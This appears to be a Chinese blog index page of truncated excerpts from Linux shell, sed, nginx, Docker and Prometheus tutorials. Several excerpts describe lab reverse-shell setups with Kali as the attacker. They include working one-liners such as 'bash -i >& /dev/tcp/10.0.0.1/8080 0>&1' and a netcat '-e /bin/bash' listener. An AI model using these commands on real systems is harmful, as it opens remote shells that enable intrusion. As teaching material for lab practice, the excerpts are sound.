Shell文本处理三剑客之sed的使用
sed 是 stream editor 的缩写,流编辑器,主要用于对标准输出或文件进行处理。
语法:stdout | sed [option] "pattern command"sed [option] "pattern command" file1常用选项(opt...
sed 是 stream editor 的缩写,流编辑器,主要用于对标准输出或文件进行处理。
语法:stdout | sed [option] "pattern command"sed [option] "pattern command" file1常用选项(opt...
问题重现:当前系统Ubuntu16shell进行字符串截取运行 ${GIT_COMMIT:0:6}报错:
/tmp/jenkins7505855461406722507.sh: 4: /tmp/jenkins7505855461406722507.sh: Bad substitutio...
方法一:ifconfig -a
ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"命令解析 ifconfig -a 和window下执行此命令一样...
假如ubuntu、CentOS为目标服务器系统kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用最终是将ubuntu、CentOS的shell反弹到kali上正向反弹shell
ubuntu或者CentOS...
示例
1.编写测试脚本脚本 time .sh
$ cat time.sh #! /bin/bashecho $(date +%s) >> /home/ocean/out.txt保存完毕后记得给予权限 chmod 777 test.sh
2.添加定时任务
$ cron...
今天没干什么正事儿,都开了会了,写点儿关于shell脚本语言的知识吧,这个也是前两天完成一个业务方的需求的时候使用到的方法,分享出来,希望对大家有点用吧。 首先,我们来看,da...
Linux - 通过 autojump 命令减少 cd 命令的使用1、安装 autojumpgit clone git://github.com/joelthelion/autojump.git安装cd autojump./install.py卸载cd autojump./unins...
利用shell脚本实现每隔60秒磁盘内存数据监控#!/bin/bash#Author:GaoHongYu#QQ:1061767621#Time:2019-12-24 18:43:22#Name:ncjk.sh#Version:V1.0clearxtip=$(hostname -I)cp...
环境攻击机:kali ip:192.168.25.144靶 机:centos ip:192.168.25.142过程kali 监听本地8888端口靶机 centos 写入 反弹shell 的命令bash -i >& /dev/tcp/192....
方式一:$0,$1,$2..采用$0,$1,$2..等方式获取脚本命令行传入的参数,值得注意的是,$0获取到的是脚本路径以及脚本名,后面按顺序获取参数,当参数超过10个时(包括10个),需要使用${10},...
sed命令作为一个强大的shell命令,可以快速删除任意特定的行列,配合awk命令可以轻松地操作批量处理文件,下面就来看看吧!sed命令常用到的两个选项: -i : 直接在文件上编辑 (edit f...
$# 是传给脚本的参数个数
$0 是脚本本身的名字
$1 是传递给该shell脚本的第一个参数
$2 是传递给该shell脚本的第二个参数
$@ 是传给脚本的所有参数的列表
$* 是以一个单字...
编写shell脚本的一些规范解释器shell脚本一般选择bash作为解释器,脚本开头应为#!/bin/bash或#!/bin/sh添加脚本版本和注释功能在脚本的开头加注释,说明脚本作者、编写时间、脚...
今天是远程办公的第4天,渐渐的找到了一点在家办公的节奏了,改了几个shell脚本,在改动过程中,发现还有一些知识点需要巩固,这里写出来,加深下印象。 关于$符号,大家肯定都不陌...
一、Shell函数定义格式shell函数定义格式,各部分说明如下:[ function ]等中括号括起来部分----表示可选(即可有可无)your_function_name部分----为函数名your_shell_commands部...
大型项目环境预检查脚本,根据自己实际情况修改脚本中变量,给大家一个思路,转载请注明出处~#!/usr/bin/env bashroot=$( cd $(dirname $0) pwd)source "$root"/dragonrcCPU=$(...
语法
set [-可选参数] [-o 选项]功能说明set 指令可根据不同的需求来设置当前所使用 shell 的执行方式,同时也可以用来设置或显示 shell 变量的值。当指定某个单一的选项时将...
前言:正则可以实现一些简单的功能,并用在脚本中,如检测ip地址是否符合规范,检测文件名是否符合规范等等。正则表达式
正则表达式主要是用来描述一个句法规则的模式。其实说的通...
一、介绍expect脚本是Tcl脚本语言的拓展。用来实现自动的交互式任务,无需人为干预。在实际开发中,运行shell脚本有时候会输入linux密码或者是mysql密码等,而expect可以帮我们输...
Shell 中运行的命令会使用0-255之间的整数值,作为退出状态码,并以此来告知shell该命令执行的状态。通常情况下,约定0代表命令成功结束,非0代表程序非正常退出。...
效果如图:代码#!/bin/bash#Author:GaoHongYu#QQ:1061767621#Time:2019-12-26 16:30:19#Name:yumgz.sh#Version:V1.0CKGZ=$( df -Th | grep -o "iso9660" )KJGZ=$( cat /etc/f...
完整命令反弹shell命令:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1bash -i > /dev/tcp/ip/port 0>&1 2>&1利用nc反弹shell:nc -lvvp 12345 -t -e /bin/bash原理bash -i > /dev/t...
Linux 之shell脚本设置开头固定格式
每次进入shell都要设置开头,很麻烦,现修改vim配置文件即可。[root@node01 ~]vim .vimrc 将下列内容复制进文件set ignorecase...
语法格式: [[ "${array[@]}" =~ "字符串" ]]示例:
#!/bin/sh##数组array=(addressbasecartcompanystore) # $1 如果存在,输出 $1 exists,$1 如果不存在,输出 $1 not existsif [ "...
linux看防火墙是否开启、删除iptables规则准备工作首先确认IP为了待会的测试,我们先确认一下linux主机的IP。可以使用ifconfig或ip addr查看。查看系统监听开放的端口,netstat...
给命令设置别名,你可以把它当作命令的"小名",但是这样做有什么意义呢?比如笔者刚接触 Linux 时,使用的编辑器是 Vi,但是现在 Vim 的功能明显比 Vi 的功能更加强大,所以现在流行的...
安装  Filebeat 已经完全替代了 Logstash-Forwarder 成为新一代的日志采集器,因为它更加轻量、安全。基于 Filebeat + ELK 的部署方案架构图如下:  &...
前言:Docker端口映射往往是Docker Run命令时通过-p将容器内部端口映射到宿主机的指定端口上,一般来说容器的端口所对应的端口是提前确定需要映射的。但是有些情况下不得不需要...
一.优化Nginx并发量[root@proxy ~]# ab -n 2000 -c 2000 http://192.168.4.5/Benchmarking 192.168.4.5 (be patient)socket: Too many open files (24) //提示打开文件...
1. 下载grafana并安装1.1 官网下载较慢,在清华镜像站下载下载链接>> https://mirrors.tuna.tsinghua.edu.cn/grafana/yum/rpm/1.2 下载之后上传上传之后查看[root@localhost...
1. 从官网选择Prometheus版本进行下载官网地址>> https://github.com/prometheus/prometheus/releases/2. 实验安排在主机192.168.153.137上安装prometheus监控192.168.153....
前言Nginx是一款轻量级的HTTP服务器,采用事件驱动的异步非阻塞处理方式框架,这让其具有极好的IO性能。我们在日常开发中使用到Nginx的主要有以下几个场景: Nginx作为http服务...
1、首先下载PHP7安装包,使用wget http://am1.php.net/distributions/php-7.2.0.tar.bz2,或者直接访问下载,然后ftp到linux服务器
2、解压压缩包,tar –xjf php-7.0.2.tar....
简介Linux tcpdump命令用于倾倒网络传输数据。执行tcpdump指令可列出经过指定网络界面的数据包文件头,在Linux操作系统中,你必须是系统管理员。用简单的话来定义tcpdump,就是:du...
刚开始接触Linux的人,忘记了root密码可能会不知所措。想找回自己的root密码,但是又不知道方法。其实,只需要简单的几步就可以重置自己的root密码了(找回密码我也不会)1.开机之...
详细步骤如下:1、官网下载Apache2.42、将下载的Apache解压到要搭配的环境目录3、命令行下进入到apache下面的bin目录,输入 httpd -k install4、安装后报错“ServerRoot m...
详细配置流程如下:1、下载SSL证书2、两个证书放在cert目录上然后放到nginx 与nginx.conf同目录下3、去nginx解压目录下执行./configure --with-http_ssl_module如果报错 ./co...
在 CentOS/RHEL7 系统上配置自动安全更新在 CentOS/RHEL 7/6 系统上,你需要安装下面的安装包:# yum update -y ; yum install yum-cron -y安装完成以后,打开/etc/yum/yum-cron....
Linux 查看磁盘空间可以使用 df 和 du 命令。df命令df 以磁盘分区为单位查看文件系统,可以获取硬盘被占用了多少空间,目前还剩下多少空间等信息。例如,我们使用df -h命令来查看...
一、盗链原理1.1 网页准备Web源主机(192.168.153.20)配置cd /usr/local/nginx/html将preview.jpg图片文件传到/usr/local/nginx/html目录下vim index.html......<img src="pre...
Docker守护进程套接字Docker守护进程可以通过三种不同类型的套接字监听Docker Engine API请求:unix、tcp和fd。默认情况下,在/var/run/docker.sock处创建一个unix域套接字(或IP...
1.首先用springboot构建一个简单的dubbo测试程序,并引入相关依赖编写公共接口api
编写provider实现UserSvice的方法,并暴露服务
编写provider的配置文件
编写Consumer
通过...
docker容器内提供服务并监听8888端口,要使外部能够访问,需要做端口映射。docker run -it --rm -p 8888:8888 server:v1此时出现问题,在虚机A上部署后,在A内能够访问8888端口服务...
最近在学习Docker和实际操作中遇到了不少问题,写篇博客记录一下。安装我安装的是windows版的docker desktop,在windows上用docker挺麻烦的,要配置一些东西,在windows上安装docke...
假如程序服务是使用 k8s 集成 gitlab ci/cd 方式部署的,在 gitlab-ci 过程中就需要用到 kubeclt 镜像
使用 docker 构建 kubectl 镜像有两种方式方式一 (镜像相对较小一点,45....
PHP出现500错误相关问题PHP版本选择1、部分老程序支持5.2,请自行阅读程序支持的php版本2、如您的程序需要开启opcache/xcache/apc/yac等扩展,请切换至php5.5以上版本,强行安装...
一键启动、停止、重启 java项目创建.sh文件vi XXX.sh编写shell脚本#!/bin/shport=8080 #定义变量等号左右不能有空格jar_name=/opt/oaclou/XXX.jar#运行脚本提示信息tips(){...
在使用docker容器时,有时候里边没有安装vim,敲vim命令时提示说:vim: command not found,这个时候就需要安装vim,可是当你敲apt-get install vim命令时,提示:Reading package lists....
先说区别 last,重写后的规则,会继续用重写后的值去匹配下面的location。 break,重写后的规则,不会去匹配下面的location。使用新的规则,直接发起一次http请求了。
Nginx 配置...
Bottle是一个快速、简洁、轻量级的基于WSIG的微型Web框架,此框架只由一个 .py 文件,除了Python的标准库外,其不依赖任何其他模块。from bottle import route, request, runimpo...